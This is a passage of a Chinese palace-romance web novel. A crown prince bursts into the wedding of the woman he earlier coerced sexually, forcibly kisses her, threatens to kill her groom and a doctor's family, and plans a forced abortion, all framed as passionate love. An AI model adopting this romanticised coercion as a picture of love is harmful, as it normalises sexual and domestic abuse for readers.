众目睽睽,他仅剩的理智还记得不能暴露傅归荑女扮男装上京为质一事。 裴璟满腔的愤怒都转移在秦平归,不,应该是真正的傅归宜和她旁边的邓意身上。 一个明明知道傅归荑对自己的重要性,却故意将这场婚礼闹得人尽皆知,逼他认下。 一个胆大妄为,不知天高地厚肖想他的人。 裴璟手中的弓始终未曾放下,眸光狠厉:“她是孤亲自定下的太子妃,镇南王竟敢私自嫁娶,该当何罪?” 傅归宜淡淡道:“镇南王府并未接到太子殿下的旨意,如何有罪?” 裴璟阴着脸,寒声道:“孤在南陵,与世子早已口头约定,傅世子莫不是忘记了。” 傅世子三字咬音极重,语气陡然沉冷暗含威胁之意。 裴璟认下秦平归的身份,交换他们认下傅归荑是内定的太子妃。 傅归宜还没开口,傅归荑忍不住再次抬手掀盖头,她无法心安理得躲在哥哥后面什么也不做,她要与他共同承担惹怒裴璟的后果。 裴璟的注意力从始至终都牢牢黏在傅归荑身上,见她扬手的瞬间,逐月弓调转方向,嗖地一声朝她头顶射去。 红绸金织的鸳鸯戏水盖头被箭羽射中,离开她的头顶直插后方大门。 裴璟双眸微赤望着他梦里也无缘相见的人。 是她。 看见她的脸这一刻,他的心才总算落了地。 四目相对,遥遥相望。 裴璟双眸瞬间盈了一汪隐秘的水光,眼里再容不下其他人。 高举的长弓不知不觉垂落下来,重逾千金,他几乎快要拿不动。 宾客们被忽如其来的变故吓得面无血色,大气也不敢出一口。 傅归荑起初被头顶上方的冲击力撞得晃了晃身子差点跌倒,幸好哥哥眼疾手快扶了一把。 稳住身形后,她看见了阔别一个多月的裴璟。 他瘦了很多,眼底青黑,脸色憔悴,双鬓间隐隐嵌了一片雪白。 傅归荑定定神,规矩十足地朝裴璟福身行礼,声音清透澄亮:“承蒙太子殿下抬爱,可惜小女福薄,无福消受。我早与邓意从小订下婚约,情深意笃,万望殿下成人之美,小女不胜感激。” 裴璟眼神倏地变得极为可怕,露出择人欲噬的凶光。 “你说什么?” 傅归荑不卑不亢地直视裴璟寒凉暗沉的凶眸,重复道:“请殿下成全。” 说完冲他莞尔一笑,明艳动人,仿佛今日真的是她的大喜之日,她喜不自胜。 裴璟愣了一下,这笑容令他想到了那年大雪,他在摘星楼与她初遇的那一笑。 巧笑倩兮,顾盼生姿。 回神后,裴璟看见傅归荑陌生的眼神,胸口剧烈起伏着,他压抑住滔天的怒火,再次举弓引弦对准邓意的头颅。 “若是婚约之人身死,这约定也就作废了罢。” 傅归荑脸色大变,倏地上前一步挡在邓意身前,目光犀利质问他:“太子殿下,为何无缘无故为难我的夫君。” 裴璟闻言,他手中的弓弦拉到极致,就如同他脑子里的那根弦一般崩得紧紧的。 看着她急火火地护着别的男人,脸上一片肃杀无情,他的心像被钝刀反复磋磨着。 “你的夫君?” 裴璟眼底通红念出这四个字,他嘶哑道:“那我又是什么?我们从前……” 傅归荑见他口无遮拦,立刻打断:“太子殿下说笑,你我之间素未相识,谈何从前?” 素未相识。 裴璟手中的弓弦与脑子里的同时崩断,傅归荑今日所言,字字泣血,句句透骨。 他狠狠闭了闭眼,仰天深吸一口气,再睁开时眼底已是一片幽深平静,然而他周身的骇戾之气愈发强盛,令周围人遍体生寒,悚然而惊。 “傅归荑,是你逼我的。” 裴璟扬手一挥,厉声道:“给孤把镇安王府围起来,一只鸟也不许放飞出去。无关人等,迅速离开,否则别怪孤刀剑无眼。” 他话音刚落,方才还雅雀无声的宾客开始骚动起来,大部分都露出犹豫之色。 南陵太子权势滔天不假,可镇南王府也不是吃素的,何况他们今后都要在苍云九州讨生活,若是直接离开恐怕会得罪镇南王。 傅归宜见裴璟面容扭曲,知道他要控制不住大开杀戒,可又不甘心辛苦筹谋的戏台子被他毁掉。 今日他定要在众人见证下逼裴璟认下这门婚事,才无后顾之忧。 “太子殿下远到是客,何必生气。小妹虽无福嫁给殿下,可苍云九州貌美女子千千万万,我保证为您寻来满意的人选。” 傅归宜笑容满面,语气诚恳,一副主人家迎客的热情模样。 他给傅归荑使了眼神,示意她和邓意先进去,花轿不上也罢,只要裴璟进门喝下这杯酒,事情就成了一半。 傅归荑哪里肯留他一人,立即顺着哥哥的话往下道:“王府已备下宴席,请太子殿下入府喝一杯薄酒。” 裴璟听见自己咬牙切齿,骨骼嘎嘎作响的声音。 他寒眸扫视了一圈,见宾客们还在踌躇观望,暴呵道:“滚!” 抬手下令,一千追云骑整齐划一地高举连弩,无差别对准所有人。 冰冷的箭尖锐利无比,宛如寒芒刺骨。 气氛陡然变得剑拔弩张,火药味十足。 前头发生的事情早有眼尖的下人跑回府内回禀,镇南王恰好听见裴璟的这一声怒吼。 “太子殿下,多年不见别来无恙。”镇南王环视了一圈后无视他的杀气腾如,面如常色道:“听犬子说,您在南陵京都时对他多有照拂,老夫在此先谢过。今日是我小女的大喜之日,您若是不嫌弃家宅贫寒,请您赏脸喝一杯喜酒再走。” 裴璟抽紧缰绳,无惧镇南王锐利的目光,缓声道。 “这个脸,孤赏不了。” 镇南王眼眸半眯,看了眼女儿儿子和邓意三人,他们的目光各异,心道这场婚礼匆匆忙忙,一定另有隐情。 他当机立断遣走宾客,还亲自赔了不是。 傅归宜本想阻拦,被镇南王一个凌厉的眼神逼退。 他内心大叹,只差一点点,他不信裴璟真的敢当众射杀这些人,毕竟都是苍云九州有头有脸的人物,为了天下安定他今日也得乖乖咽下这口恶气。 宾客们这才回过神,连称不敢,慌忙夺路而逃。 等到看不见双方对峙的人影时,他们才敢吐出憋在胸口的浊气,有交好的三五成群聚在一起,小声讨论今日之事。 “太吓人了,南陵太子裴璟果然名不虚传。方才我连头发丝都在抖,那群铁骑手上拿的是什么东西,怎么不像传统的弩,骇人得很!” “不知道,还是别讨论这等敏感之物。”一人心有戚戚阻止他们的话头。 众人噤声,半晌有个人憋得脖子都粗了,忍不住道:“你们不好奇吗?傅世子的妹妹跟他长得也太像了些,还有,为什么南陵太子说出那样一句话。” “长得像很正常,他们是双生子,连名字都有同一个读音。” “对,我倒是不好奇这个,我好奇南陵太子为什么非要娶傅归荑?” “她长得漂亮啊!”有个人离傅归荑很近,眼里闪着惊艳之色:“之前我以为傅世子已经长得够好看了,没想到他妹妹居然如此倾国倾城,换我也想娶!真是便宜了邓意那小子,一个半路捡回来的孤儿一飞冲天。” 说道最后,口吻又是羡慕,又是嫉妒。 忽然有一道幽幽的声音插进来。 “我倒是听了个小道消息,南陵太子在宫里与傅世子同吃同住,莫不是他看上了傅世子却不能……所以退而求其次娶他妹妹聊以慰藉?“ “你不要命了!” “就是,这种事你都敢随便编排,要死别拖我们下水。” 大家忽地作鸟兽散,眼神飘忽,闭口不言,心里却都在琢磨这件事的真假。 * 镇南王府内。 大红的灯笼贴着不同的喜庆图案,贴满的喜字镶了金边,脚下的红毯也织了百年好合的样式,府内无一处不再昭示着镇南王府对这场婚礼的用心之处。 裴璟被镇南王请进了府,他所带的追云骑四下散开,将阖府围得铁桶一般。 “太子殿下,无论犬子做了什么错事,还请您看在老夫的面子上饶过他一回,我会亲自管教他。” 镇南王对裴璟态度很客气,甚至有些忌惮。 裴璟敛了面上的戾气,沉声道:“我想与令爱单独见一面。” 镇南王还没开口,傅归宜先大声拒绝:“不行,我不同意!” 裴璟冷眼一扫。 镇南王也皱起了眉头。 唯有傅归荑神色从容,站了出来:“好,我们谈。” “不行,”傅归宜拉住傅归荑的手臂,把她往后扯,示意她躲在自己后面,“你不能单独见他。” 裴璟越过傅归宜的肩膀往后看,视线紧盯着自己朝思暮想的人。 “哥哥,我们说好的。”傅归荑压低声音:“迟早要告诉他。” 傅归宜面露担忧,“我要在旁边看着,万一他发起疯来,你挡不住。” “没事。”傅归荑摇摇头:“我自有办法。” 裴璟额头青筋突突地跳动,像是难以忍受他们两个旁若无人的窃窃私语,毫无感情道:“说够了没有,跟我进来。” 说罢,也不理其他人,径直上前拉过傅归荑的手臂往自己怀里扯。 镇南王立即拦住,口气依旧客气,然而眼神却犀利不让:“太子殿下,小女体弱孱弱,恐怕无法招待殿下,还是由老夫来尽地主之谊罢。” 裴璟环视四周,见周围都是自己人,便不再遮遮掩掩,索性打开天窗说亮话。 “镇南王,你的女儿女扮男装进入南陵寻兄,她的哥哥恰好是我麾下的暗卫首领,这点你知道吗?” 镇南王当然清楚,“小女说殿下对犬子有救命之恩,老夫再次谢过。” 说罢要给裴璟作揖鞠躬,被他横手一挡。 “不必言谢,你的女儿已经替你谢过了。我这次是来正是向镇南王府下聘,娶傅归荑为妻,今日入主东宫,他日位居中宫。” “什么?”镇南王一头雾水,自家女儿没说还跟裴璟有这段渊源,什么叫“你的女儿已经替你谢过了”,阿荑不是拿傅家骑术和连弩机关换得阿宜的线索么? 裴璟一眼就看出这两兄妹没跟镇南王说实话,内心冷笑,斜眼往向傅归荑:“你是要自己跟你父亲说,还是我来?” “不……”傅归荑脸色出现明显的慌乱,她动了动喉咙朝镇南王道:“父亲,我与太子殿下有旧,有些话想单独与他当面说清楚。” 镇南王眼神示意她,确定不需要自己在场? 傅归荑轻轻摇头。 镇南王知道自己女儿一向不是个托大的人,既然她想便由着她做,若真惹出什么乱子,还有他顶住。 更何况,他听出来傅归宜被找回的事情并没有他们之前说得那样简单,还有这场急急忙忙的婚礼…… “好吧,”镇南王松开手,语气铿锵有力:“我就在外面等你,有什么事大喊一声。” 说罢,隐晦地警告了一眼裴璟。 裴璟置若罔闻,眼里只剩下傅归荑一人。 两人走进去后,镇南王朝着踮脚张望的傅归宜低吼一声:“在南陵皇宫究竟发生了什么事,你给我老老实实说清楚。” 傅归宜身体微僵,死鸭子嘴硬道:“没什么事。” 若不是有外人在,镇南王真想当场请家法,狠狠抽他儿子,小时候就调皮捣蛋,长大了还这样不着调。 余光看了眼一直在旁边默默无言的邓意,他眉宇间郁色沉沉,心事重重。 镇南王丢下一句:“好好守着你妹妹,有事马上通知我。” 随后眉头紧皱地把邓意叫到书房。 * 厢房内,傅归荑整个人被裴璟死死抱在怀里,压得她喘不过气来,她刚有挣扎的意图,裴璟的双臂愈发使力,几乎要将她揉进自己的身体里。 傅归荑的后背几乎要被他按出手印来,痛得她快要掉眼泪,忍不住吼他:“放开我!” “不放!”裴璟切齿道,手中力道更甚。 他终于真实感受到她强健有力的心跳,温热鲜活的呼吸,胸口登时轮番上涌苦的、辣的、咸的、酸的、甜的,五味俱全,调和成百般滋味涌上心头。 “你弄疼我了。”傅归荑用力一推,推开些距离。 下一瞬,裴璟的手滑到她的腰肢用力一握,低下头猛地咬住她鲜红欲滴的双唇。 他用了狠劲儿,顷刻间把唇瓣上的口脂吞了下去,又给予她自己留下的痕迹 裴璟不喜欢她的这身打扮,只要一想到她穿上嫁衣是为了嫁给别人,心底难以抑制的杀意冲天而起,身体更是焦灼难耐。 要是再晚一步,她就要成了别人的妻子。 裴璟眸色森冷,脸色阴沉,愈发用力,听得她喉间溢出疼痛的嘶鸣,方才缓和了些心底的暴虐。 傅归荑起先觉得自己的唇火辣辣地疼,而后变得麻木,任由他动作。 直到发现腰间的手开始大力撕扯着她的腰带,手甚至开始往里探,他的吻也从唇偏移到脸颊,下颌,脖颈,甚至还有往下移的趋势…… “你疯了,你当这里是哪里?”傅归荑恨恨出声。 裴璟抬起头,忽而哂笑:“今天不是你的成婚之日么?我特地赶来与你洞房花烛,你高不高兴?” 傅归荑闻言惊愕不已,抬眼望去,裴璟的双瞳黝黑,仿佛燃着两簇幽火,像要烧掉一切,包括她。 “你不要乱来!这里是苍云九州镇南王府,你再动手我就叫人了!”傅归荑虚张声势地警告他。 裴璟不屑地扫了一眼:“你叫,最好把他们都叫进来,看看我们两个如何……” 他竟敢用这个威胁她! 傅归荑眼眸怒气冲天,扬手狠狠劈了下来,重重甩了裴璟一个巴掌。 清脆的响声吓得傅归宜立刻往里冲,却被季明雪和几个追云骑冷面拦下。 追云骑的人皆是精挑细选,层层选拔上来的精兵强将,不同于暗卫的潜藏追踪,他们都是硬碰硬的真功夫。 尤其是季明雪,乃是当年裴璟钦点的武状元,功夫自然是上上乘。 傅归宜暗恨,裴璟好深沉的心机,他故意不带一个暗卫来,就是怕暗卫碍于首领毒蛇的威慑,不敢下死手拦他。 屋内,裴璟捂住脸,不甚在意道:“离别月余,你打我的本事倒是没有退步。” 傅归荑捂住衣襟,双眸含恨,泪光涟涟低吼道:“你去说!你去告诉所有人那晚上你怎么强迫我的,又是如何骗我,傅归宜的死。” 她的泪花了脸,唇瓣颤抖,泣不成声。 裴璟一下子慌了神,“我不是这个意思,我没有想……不、我想告诉你的,是……”是秦平归故意诱导他一错再错。 后面的话他难以开口,所有的一切皆因他做出错误的决定,他怪不了任何人。 傅归荑擦掉眼泪,恢复平静:“裴璟,你走吧。” 她低头理了理衣襟,心平气和道:“从前种种如过往云烟,我不与你计较,你也放过我,好不好?” 裴璟怔怔看着傅归荑,美眸含泪,容颜清丽,惊人的美。 然而她冷淡的神情让裴璟想起强迫她第二天的模样,无悲无喜,看他的眼神像是在看一个陌生人。 明明被折腾得卧病在床,面无血色,却平静地说出“与您无关”四个字。 “不好,”裴璟双手握住她的左右肩头,浑身绷紧,发狠道:“我不放过你,我们生要同衾,死要同穴,你这辈子都别想离开我。” 只有他自己知道,强硬的语气下他的心有多慌张。 傅归荑的肩头被攥疼痛难忍,她倒吸一口凉气,裴璟发现后立刻松手,改为握住她的双手,控制着力道。 “我答应你,只要你跟我回去,今天的一切我就当没发生过,好不好?” 傅归荑垂下眼睑,低声道:“回不去了。” 裴璟急切道:“怎么会回不去?” 傅归荑抬眼望着他。 “我怀孕了。” 作者有话说: 小剧场——现代篇。 裴璟上次表白之路还没开始就被迫结束。 他发现对傅归荑不适合采用迂回战术,于是决定直接发起进攻。 他决定在某堂全校选修课向傅归荑表白。 那天,裴璟衣冠楚楚走进来吸引了一大堆人的目光。 他径直走到傅归荑的面前,她正在和好友商量周末去哪里玩。 感受到有人影在自己面前,傅归荑下意识抬头,认出是谁后愣了一下,抬手尴尬地说了个hi。 她的高中同桌为什么一脸阴沉地看着她? 裴璟面无表情道:“我喜欢你,想请你做我的女朋友。” 周围的人在他走近的时候自发安静下来,在听见裴璟表白后骤然爆发出剧烈的哄闹声。 傅归荑等了半天,屈起手肘推了推好友,悄声道:“喂,他在跟你告白呢?” 这是她在选修课认识的好友,叫陈忆容。 傅归荑语气中有些幸灾乐祸,她知道陈忆容有个青梅竹马的男朋友,这下裴瑜要被拒绝了。 陈忆容惊慌失措地啊了一声:“对不起,我有男朋友了。” 裴璟闻言失声了片刻,脸上的青筋突突地跳动,眼眸阴沉。 他忍无可忍道:“我说的是你,傅归荑。” 沈惊问:狗东西,撬我墙角?【你现在阅读的是 】 70-80 第71章 怀孕 傅归荑对他,永远都是冷冰冰的不需要。 裴璟浑身一震, 骤然变脸。 他难以置信地看着面前容貌姣好,从容镇静的傅归荑,眸中的光芒明明灭灭, 几番轮转,最终化作一片幽深的平静。 只是在平静之后, 暗藏汹涌的惊骇与杀意。 “我不信。”裴璟五指攥紧, 骨骼发出桀桀响声, 竭力遏制住拔出横挂在腰间长剑的冲动。 他凭空怒喝道:“我不信!” 她在宫内汤药从未断过一日,怎么可能怀孕。 一想到另一种可能, 裴璟体内的血液沸腾不止,他不信短短一个多月她就能另投他人怀抱,更不可能会…… 傅归荑动了动喉咙, 凛然不惧他震怒的眼神,缓缓抬起素手伸到他眼底下, 慢声道:“你可以查。” 裴璟猛然攫起眼前莹润细腻的皓腕, 目光死死盯住傅归荑,要从她的脸上看出心虚, 撒谎之色。 然而看到的是她坚定的眼神, 裴璟心口一酸。 傅归荑眉头轻蹙, 裴璟掌心像是覆了一层凹凸不平的粗糙石砺,摩擦在她皮肤上又痒又疼。 他似乎注意到她的不舒服,猛地放手,阴沉着脸转身, 砰地一下打开大门。 “季明雪,立刻去找大夫, 要嘴巴严的。” “是!”季明雪见太子殿下满眼阴鸷, 脚底生烟往外跑, 亲自去请。 今日他受到的惊吓不比任何人少,现在还没回过神,捋顺这乱七八糟的关系。 先是跟着太子带人怒闯镇南王府嫡女的喜堂,当时他还纳闷,太子殿下在南陵与傅世子关系亲近,为何要搅了他妹妹的婚事。 季明雪知道裴璟不是那等好色贪婪之徒,绝不会为了一个素不相识的女人与镇南王府,乃至苍云九州惹出罅隙。 当时他还惴惴不安,害怕与傅世子兵戎相见。 然而,他万万没有想到,太子殿下竟对着暗卫首领毒蛇大人叫出傅归宜的名字。 季明雪整个人都懵了。 他怎么是傅归宜? 紧接着,他看见了新娘的真容。 季明雪当时内心的震惊已经无法用言语来形容,他甚至觉得自己因为赶路花了眼。 他发誓,他虽然觉得傅世子长得过分漂亮俊美,性子又冷淡柔和,但自己从未怀疑过她是个女人。 无他,她的为人处世太不像季明雪认知中的女人了。 在平溪猎场时面对北蛮那群亡命之徒不但孤身一人前往救驾,更是舍身伪装太子殿下引开敌人,最终被俘还能全身而退。 季明雪忍不住假设,他身为武状元也未必能在当时的情况下活着出来。 还有,她随太子殿下去抚城赈灾,直接剿灭了那个他们怎么打也打不死的蒙穆。 更不要提她一手出神入化的箭术,还有在兵器设计上的造诣,以及那份毫无保留的气度胸襟。 季明雪想,世界上怎么会有这样的女子。 平日里看着清冷无害,不争不抢,内心却极其强大,无论面对什么事情都能从容不迫。 尤其是她居然敢女扮男装孤身上京,要知道,欺君之罪可是要杀全家的。 她怎么敢? 想想都要起鸡皮疙瘩,他每次对上裴璟洞悉一切的双眸时,季明雪心里什么话都不敢隐瞒,更不要提骗他。 季明雪虽然不及傅归宜有颗七巧玲珑心,却也知道太子殿下让他去找大夫而不是用镇南王府的人,必然是怕大夫早早被人收买。 傅归宜在听见裴璟找大夫的时候,知道妹妹定然是用了他们之前商定的第二套计划。 暗道这下想瞒住父亲几乎是不可能了,只是多少的问题。 裴璟在她房间翻出一套衣服,冷着脸扔到她面前,命令她换下嫁衣。 他明显已经处于暴走的边缘,傅归荑自然不会在这种小事上惹怒他,乖乖绕到屏风后换了身水绿色夹袄,白月罗裙,素净整洁,看着顺眼很多。 裴璟神色稍霁,目光扫到她头上插满的金钗步摇,走过去轻轻摘下,又重重摔在地上,激起阵阵清脆撞击声。 “这都是什么破烂玩意儿,镇南王府嫁女儿未免也太小家子气,我在东宫可从没让你受过这种委屈。”裴璟无不讽刺道。 傅归荑头上顿时轻松不少,垂眸瞟了眼足称的钗环,上面点缀的红宝石和红珊瑚虽比不上用东珠做的首饰,却也是万里挑一的精品,一支钗能买下苍云九州主城内一座二进的宅子。 她全身上下的衣服首饰,包括今日三副席面,请的戏台子,用的都是裴璟直接拨给哥哥的银钱。 傅归宜恨不得买空所有的店。 傅归荑还曾担心过这算不算浪费国家钱财,傅归宜笑着说这些都是裴璟的私库,暗卫一直以来算裴璟的个人势力。 季明雪办事很利索,一炷香的工夫便寻来个白胡子老大夫。 一路上他把人身份套得清清楚楚,又是威胁又是利诱的,确定没有任何问题后才送进去。 “如何?”裴璟坐在傅归荑旁边,目光不善地盯着老大夫。 老大夫在裴璟气势凌人的视线下哪里敢说谎,哆哆嗦嗦拱手行礼道:“恭喜,这位……夫人已经怀有近一个月的身孕。” “你说什么?”裴璟面无表情打断他:“一个月?” “是……最多不超过一个月。” 老大夫顿觉头上阴风阵阵,这位爷看上去丝毫没有高兴,脸色阴戾如黑水。 唰—— 裴璟抽出长剑一剑劈裂傅归荑旁边的方形红木案己。 他握住长剑的手背爆出可怖的青筋,剑尖直指老大夫,一字一句咬牙切齿道:“你若敢欺瞒半句,全家都得死。” 老大夫惊惧连连跪在地上,颤声道:“老夫以性命起誓,绝无一字虚言!” “滚出去。” 裴璟压抑着怒音,戾气横生。 老大夫仓皇爬起来,连药箱都不敢收拾便往外跑。 “今天的事,你要敢泄露一个字……”裴璟言语中的杀意毫不遮掩,老大夫浑身觳觫,惶恐地表示绝对不敢对外宣扬半句话。 他还没有老眼昏花到看不清局势的地步,这里是镇南王府,他哪里敢乱嚼舌根。 傅归荑坐在椅子上岿然不动,神情泰然自若。 “谁的?”裴璟提着剑走到她面前,居高临下俯视她。 傅归荑低下头不语。 “我问你,谁的?”裴璟左手猛地握住她的下颌往上抬,咬牙冷笑:“你不说,我难道查不出来?” 傅归荑抬眸轻咬下唇,嗤笑道:“你猜不出吗?我要嫁的,自然是我孩子的父亲。” 裴璟听她自然而然地说出“孩子父亲”四个字,惊怒不止。 “他是那个跟你一同进宫的长随。”裴璟倏地放开她,面罩寒霜转身往外走,长剑未收入鞘。 “你去哪里?”傅归荑拍手而起。 裴璟脚步不停,不咸不淡道:“我去杀了他,再带你回宫。你才刚刚怀上,落胎很容易,放心,我会给你找最好的太医,绝不会损害你的身子。” “裴璟!”傅归荑三步并作两步跑到门口,抬起双臂拦住他:“我不要回去,更不会打掉他。” 裴璟驻足,手指轻挑她垂落的额发,像从前一样那样温柔地替她放置耳后,口吻温和得令人胆寒:“你在说什么胡话。他们不死,我们怎么回到以前。” 说完俯身在她额前落下一吻,亲昵道:“乖,你去睡一觉,醒来我们就回家。” 傅归荑站在门口寸步不让,斩钉截铁道:“我说了我们回不到从前,我不会让你杀了他!” 裴璟竭力维持的温和面容在这一刻悉数崩塌,他眸色扭曲,恶狠狠道:“我想杀谁,你拦得住吗,让开!” “我有丹书铁券,”傅归荑脱口而出:“我用它保邓意不死。” 裴璟怒极,双眸寒寒犹如利刃尖刺,声音又狠又戾。 “为了他,你竟动用这个!” 裴璟费了九牛二虎之力,将傅归荑所有的功绩一一列举,又把抚城治理水患和绞杀蒙穆的功绩全部按在她的头上,才让那群朝臣对赐她丹书铁券一事勉强接受。 他心里门清,她始终担忧有朝一日自己恩宠不再,会以她欺君之事为借口拔除镇南王府,祸及家人。 裴璟想给她一个安心,安抚她因女扮男装整日提心吊胆,身份暴露之事。 如今,她却轻易给一个外人用。 裴璟无法坦然接受这件事,更不接受她怀了别人的孩子,喝问道:“你究竟看上他什么?” 傅归荑目光微软:“邓意从小与我一起长大,小时候我跌倒了是他扶我起来;我喝药喝得嘴里尝不出滋味,他变着法给我做好吃的;有人骂我病恹恹活不过第二天,他也不管自己瘦瘦小小的,上去就给人一拳……还有这次进京,我故意支开他,不想带他去冒险,结果他偷偷跟在马车后面,怕我赶他愣是到了京城才现身……” 裴璟听得胸口嫉恨不已,心中郁怒难消。原来是青梅竹马,难怪她愿意花一万两白银去买他一个平安,到最后连一碗面钱都付不起。 裴璟忍不住抬头向前逼近一步,粗重的呼吸喷洒在面颊上,胸口急剧起伏。 “你说的这些……我也可以做到,我以后会做得比他更好。” 傅归荑后退一步,淡然道:“不需要。” 不需要。裴璟唇齿间慢慢品着着三个字。 傅归荑对他,永远都是冷冰冰的不需要。 她到底是真的不需要。 还是不需要他。 裴璟仰头深吸一口气,他觉着那个叫邓意的人要还能看见明天的太阳,就是他的无能了。 手拦腰一搂,力道不大不小恰好将傅归荑推开,又保证她不会摔倒,旋即大步往外走。 傅归荑回过神,慌忙追出去,朝傅归宜大喊。 “哥哥,拦住他!他要杀了阿意。” 傅归宜处于时刻警戒状态,方才听见屋里一声巨响时便想冲进去,无奈季明雪这个二愣子死活不肯。 他一边循循善诱打感情牌,一边企图以暗卫首领的身份威逼他,谁料他根本不为所动,来来回回只有一句话。 “殿下说了,不许放任何人进去。” 傅归宜气得额头冒烟。 听见傅归荑大喊,他转头望去,裴璟满脸神挡杀神,遇魔屠魔,手里的长剑泛着森冷的银光。 傅归宜与裴璟相伴十年之久,他的动怒往往是不显山水,最多阴沉着脸,再冷冷地盯视你。 哪里见过他如此狠厉摄人的模样,像极了失去理智要大开杀戒的魔头,傅归宜对上他寒芒如刺的双眸时也忍不住发了怵。 “让开!”裴璟对其他人可没有那么多耐心。 傅归宜挡在他前面,以实际行动告诉裴璟他的决定。 裴璟举起剑,毫不留情地往前刺。 今天敢拦他的,除了傅归荑,他有一个杀一个。 他裴璟的女人,哪里能容别人肖想一分一毫,更不要提那个叫邓意的人居然敢碰她。 傅归宜没料到他居然真的会捅过来,眼睁睁呆在原地。 十年的时光,他对裴璟的感情早已超越君臣。在傅归宜失忆最无助的时候,是裴璟一点点教他如何在乱世生存,而后又给予他极大的权利地位。 他幼时流离之苦,在遇见裴璟后全无。在北蛮时虽遭受欺压,他却再也不必担心明天是否会被送到哪个无名之地,死在无人的角落。 裴璟稍微起势后第一时间安排好他的退路,若他不幸身死,傅归宜也能活着离开北蛮皇宫。 他之于傅归宜,是主是君,更是如同父兄一般的存在。 傅归宜能长成这样胆大妄为,玩世不恭的性子,离不开裴璟有意地纵容和保护。 他曾觉得自己是如此不幸,后来又觉得自己是何其有幸。 是以当他得知自己的身份,又得知自己的亲妹妹遭到他的强迫,他也没有真正正面对抗裴璟,而是选择远离的方式。 “太子殿下手下留情!”赶过来的镇南王眼疾手快一脚踢飞脚下石子,蹭地打断裴璟手中的剑。 裴璟目光阴冷死死盯住镇南王旁边的男人,像是要活刮了他。 傅归荑也跑了过来,她先走到傅归宜旁边紧张地看着他,见他微微摇头示意没事后方才松了口气。 镇南王已经从邓意嘴里得知了所有事情的真相,他真是越听越心惊肉跳,原来在他不知道的地方发生这么多事。 他第一反应是自责愧疚,放在心尖的女儿在南陵皇宫遭遇这种事情,回来后居然瞒得一丝不漏,一个劲地骗他们过得很好。 镇南王又听完他们所谓瞒天过海的计划,气得直拍桌子,这群不知天高地厚的小崽子们,他们以为裴璟是那么好糊弄的?! 利用药物制造假怀孕让裴璟放弃,简直天方夜谭。 一国之储君的威严不容冒犯,何况他早就是无冕之王,天下共主。他们是在玩火,稍有不慎便会万劫不复。 他来不及骂人,急急忙忙赶过来,恰好看见刚才惊险的一幕。 镇南王心里不是不生气,裴璟再杰出,再优秀,权势再大,也比不上傅归荑在他心里的位置。 然而他到底多活了十几年,比他们考虑得更周全,也过了冲动行事的年纪。要早个二十年,镇南王早就拿起他的大刀将欺负他宝贝女儿的歹人砍得粉身碎骨。 “何事惹得殿下不快,要在我府里动刀动枪?”镇南王还是忍不住带了薄怒,重重在“我”字一顿,提醒裴璟这里是苍云九州,不是南陵京都。 裴璟的剑直指邓意,声音沉稳:“此人犯上忤逆,竟敢肖想孤的太子妃,论罪当诛。” 邓意身形微晃,他咬着牙迎上裴璟寒凉的视线,颤声道:“太子殿下怕是弄错了,我与阿荑早有婚约,我们……” “住嘴!”裴璟无法忍受他如此亲密地叫出傅归荑的名字,脚下生风,眨眼逼到邓意身前。 剑尖即将插入他心脏之时,一道倩影比他更快,转身挡在邓意身前。 裴璟生生将剑撤回,力道之大迫得他后退数步,用力将剑插入地面才堪堪稳住身形。 他目眦欲裂望着傅归荑,嘶哑道:“你为了他,连命都不要了。” 傅归荑有多珍惜生命,没有人比他更清楚。 “你要伤害我孩子的父亲,我怎么能袖手旁观。”傅归荑仰头看向邓意,察觉他在发抖,手搭在他的肩上以示安抚。 旋即她侧目而视,声音决然:“你若真要杀,不如连我一起杀了,让我们一家人黄群路上也好相伴。” 一家人。 裴璟眸中狞色可怖,他的心在这一刻升起了想要毁灭一切的疯狂念头。 他们是一家人,那他算什么? 一载光阴,三百余日夜相伴,她笑容满意依偎在自己怀里的模样恍若昨日。 裴璟都不知道自己是如何能忍着听完这等诛心之语。 他胸口强压下滔天怒意,咬住后槽牙下了最后通牒:“明日一早,我带你走。” 说罢转身离开。 他的背影依旧挺拔,却透出些失魂落魄。 等看不见他的人影后,傅归荑才放开邓意,歉疚道:“阿意,对不起,我不该把你牵扯进来。” 邓意摇头:“大小姐,这是我自愿的。” “你们给我滚进来!” 镇南王猛地大吼一声,吓了在场众人一跳。 三人面面相觑,都知道事情已经瞒不住了,神色讷讷跟上去。 “阿荑你先回去休息。”镇南王怜爱地看着傅归荑。 她还想跟过去,被傅归宜阻止:“休息吧,别忘记你还有身子。” 说罢皱着眉扫视周围,裴璟走了,可他还留了数十人在院内,估计是为了守住傅归荑。 傅归荑神色担忧地看着三个男人离开,内心惴惴不安。 “傅世子、不、傅小姐……”季明雪满脸不知所错,“那个太子殿下说要你不得擅离院子一步。” 他实在是不知该如何面对昔日好友,季明雪还没完全接受与他交好的傅世子是个女人的事实。 “我知道了。”傅归荑并没有为难他的意思,老实进了房间。 这下弄得季明雪更不好意思,讪讪一笑:“你有什么需要立刻告诉我。” 傅归荑颔首谢过。 * “无法无天的不孝子,你给我跪下!” 镇南王一进书房,暴怒不止:“胆大包天的玩意儿,你出得什么馊主意,简直是在玩火自焚,还要带上你妹妹和邓意。” 傅归宜跪在冰冷的地板上,抿着唇一语不发。 镇南王指着他的鼻子大骂:“你是不是觉得自己一点没错,以为仗着几分小聪明就能把裴璟耍得团团转?” 傅归宜道:“没有。” “没有?”镇南王 瞪圆了眼:“我看你得意得很,以为从裴璟眼皮子底下带你妹妹逃出来自己就比他棋高一筹?那是他没有反应过来,若不是……”若不是他悲痛至极,怎么会没有立刻发现破绽。 镇安王在愤怒之余不禁感慨,裴璟这样的人物也会为情所困,被傅归宜拙劣的把戏瞒过去。 他听了邓意的描述后,不禁为他们死遁计划捏了一把汗。 这计划能成功最重要的两个原因,裴璟对傅归宜的信任和对傅归荑的爱。 前者方便他们偷梁换柱,瞒天过海,后者则是让裴璟方寸大乱,一时疏忽。 傅归宜听父亲如此推崇裴璟,甚至把他当成天神下凡一般神机妙算的人物,面上有些难看。尤其是父亲明知道妹妹被他磋磨,今日居然没有教训他,还让他随意放狠话,未免也太忌惮他了。 镇南王气笑了,直说:“裴璟是一个前无古人后无来者之人。孤身一人入北蛮,他没有强势的娘家,还是个不受宠的皇子。无权无势,恨不得人人都能踩上一脚,却能在北蛮站稳脚跟,还能覆灭南陵六百余年都不敢惹的北蛮,心机韧性,手段谋略都不是你我能企及的。” 傅归宜承认裴璟很厉害,却不肯承认父亲如此自贬。 